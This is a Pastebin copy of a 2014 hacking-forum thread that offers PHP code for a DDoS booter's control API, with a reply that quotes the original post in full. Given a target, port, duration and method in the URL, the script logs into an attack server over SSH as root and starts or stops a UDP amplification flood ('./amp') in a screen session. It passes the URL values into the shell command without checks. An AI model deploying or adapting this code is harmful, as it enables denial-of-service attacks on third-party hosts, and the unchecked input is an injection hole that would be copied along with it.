Advertisement
Guest User

Untitled

a guest
Oct 31st, 2014
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.24 KB | None | 0 0
  1. +---- Thread: [Exclu] Stop Attack System [Exclu] 100% Works (/showthread.php?tid=4200934)
  2.  
  3. [Exclu] Stop Attack System [Exclu] 100% Works - Host FR ™ - 04-29-2014 12:38 PM
  4.  
  5. Stop Attacks system by me
  6.  
  7.  
  8. Requierements
  9.  
  10. - Linux environnement
  11. - Installed Screen ( yum install screen (CentOS) // apt-get install screen (Debian) )
  12. - SSH2 installed ( search on google)
  13. - Apache or Ngnix installed (yum install httpd (centos) // apt-get install apache2 (debian) )
  14. - PHP installed
  15.  
  16. The Code Page
  17.  
  18. Code:
  19. <?php
  20. ignore_user_abort(true);
  21. set_time_limit(0);
  22.  
  23. //debut de la config
  24. $server_ip = ""; //Change to your ip
  25. $server_pass = ""; //Change to your pass
  26. $server_user = "root";
  27. //fin de la config
  28.  
  29. $host = $_GET['target'];
  30. $port = $_GET['port'];
  31. $time = $_GET['time'];
  32. $method = strtoupper($_GET['method']);
  33. $action = $_GET['action']; // ON to send & OFF to stop
  34. $username = $_GET['username']; // a username who identified the specified attack to stopped
  35.  
  36. if ($action == "ON") { // if action == ON
  37.  
  38. if ($method == "UDP") {
  39.  
  40. $command = " screen -dmS ".$username." ./amp ".$host." ".$port." 1000 ".$time; // change to you script BUT DONT TOUCH OF screen -dmS ".$username."
  41.  
  42. }
  43.  
  44. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  45. if(!($con = ssh2_connect($server_ip, 422))){
  46. echo "Error: Connection Issue";
  47. } else {
  48.  
  49. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  50. echo "Error: Bad Login";
  51. } else {
  52.  
  53. if (!($stream = ssh2_exec($con, $command ))) {
  54. echo "Error: Unable to Execute Command\n";
  55. } else {
  56.  
  57. stream_set_blocking($stream, false);
  58. $data = "";
  59. while ($buf = fread($stream,4096)) {
  60. $data .= $buf;
  61. }
  62. echo "Attaque sent";
  63. fclose($stream);
  64.  
  65. }
  66.  
  67. }
  68. }
  69. }
  70.  
  71. else {
  72.  
  73. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  74. if(!($con = ssh2_connect($server_ip, 422))){
  75. echo "Error: Connection Issue";
  76. } else {
  77.  
  78. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  79. echo "Error: Bad Login";
  80. } else {
  81.  
  82. $command3 = " screen -XS ".$username." quit"; // command to stop attack
  83. if (!($stream = ssh2_exec($con, $command3 ))) {
  84. echo "don't work";
  85. }
  86.  
  87. else {
  88.  
  89. echo "attack stopped";
  90.  
  91. }
  92.  
  93. }
  94. }
  95. }
  96.  
  97. ?>
  98.  
  99. Usage
  100.  
  101. To use the API link you must send an attack with :
  102.  
  103. Code:
  104. http://IP/api.php?&target=HOST&port=PORT&time=TIME&method=METHOD&username=USERNAME&action= ON (to send) or OFF (to stop)
  105.  
  106. If you want increment the Stop attack system to your Booter or stresser PM me
  107.  
  108. * - syrustkira - 05-01-2014 09:18 AM
  109.  
  110. (04-29-2014 12:38 PM)SmoZy Wrote: ►
  111. Stop Attacks system by me
  112.  
  113.  
  114. Requierements
  115.  
  116. - Linux environnement
  117. - Installed Screen ( yum install screen (CentOS) // apt-get install screen (Debian) )
  118. - SSH2 installed ( search on google)
  119. - Apache or Ngnix installed (yum install httpd (centos) // apt-get install apache2 (debian) )
  120. - PHP installed
  121.  
  122. The Code Page
  123.  
  124. Code:
  125. <?php
  126. ignore_user_abort(true);
  127. set_time_limit(0);
  128.  
  129. //debut de la config
  130. $server_ip = ""; //Change to your ip
  131. $server_pass = ""; //Change to your pass
  132. $server_user = "root";
  133. //fin de la config
  134.  
  135. $host = $_GET['target'];
  136. $port = $_GET['port'];
  137. $time = $_GET['time'];
  138. $method = strtoupper($_GET['method']);
  139. $action = $_GET['action']; // ON to send & OFF to stop
  140. $username = $_GET['username']; // a username who identified the specified attack to stopped
  141.  
  142. if ($action == "ON") { // if action == ON
  143.  
  144. if ($method == "UDP") {
  145.  
  146. $command = " screen -dmS ".$username." ./amp ".$host." ".$port." 1000 ".$time; // change to you script BUT DONT TOUCH OF screen -dmS ".$username."
  147.  
  148. }
  149.  
  150. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  151. if(!($con = ssh2_connect($server_ip, 422))){
  152. echo "Error: Connection Issue";
  153. } else {
  154.  
  155. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  156. echo "Error: Bad Login";
  157. } else {
  158.  
  159. if (!($stream = ssh2_exec($con, $command ))) {
  160. echo "Error: Unable to Execute Command\n";
  161. } else {
  162.  
  163. stream_set_blocking($stream, false);
  164. $data = "";
  165. while ($buf = fread($stream,4096)) {
  166. $data .= $buf;
  167. }
  168. echo "Attaque sent";
  169. fclose($stream);
  170.  
  171. }
  172.  
  173. }
  174. }
  175. }
  176.  
  177. else {
  178.  
  179. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  180. if(!($con = ssh2_connect($server_ip, 422))){
  181. echo "Error: Connection Issue";
  182. } else {
  183.  
  184. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  185. echo "Error: Bad Login";
  186. } else {
  187.  
  188. $command3 = " screen -XS ".$username." quit"; // command to stop attack
  189. if (!($stream = ssh2_exec($con, $command3 ))) {
  190. echo "don't work";
  191. }
  192.  
  193. else {
  194.  
  195. echo "attack stopped";
  196.  
  197. }
  198.  
  199. }
  200. }
  201. }
  202.  
  203. ?>
  204.  
  205. Usage
  206.  
  207. To use the API link you must send an attack with :
  208.  
  209. Code:
  210. http://IP/api.php?&target=HOST&port=PORT&time=TIME&method=METHOD&username=USERNAME&action= ON (to send) or OFF (to stop)
  211.  
  212. If you want increment the Stop attack system to your Booter or stresser PM me
  213.  
  214. iv seen this before on hf you prolly copy pasted it ... it might work though... turns out it was you who posted checked your threads lol
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement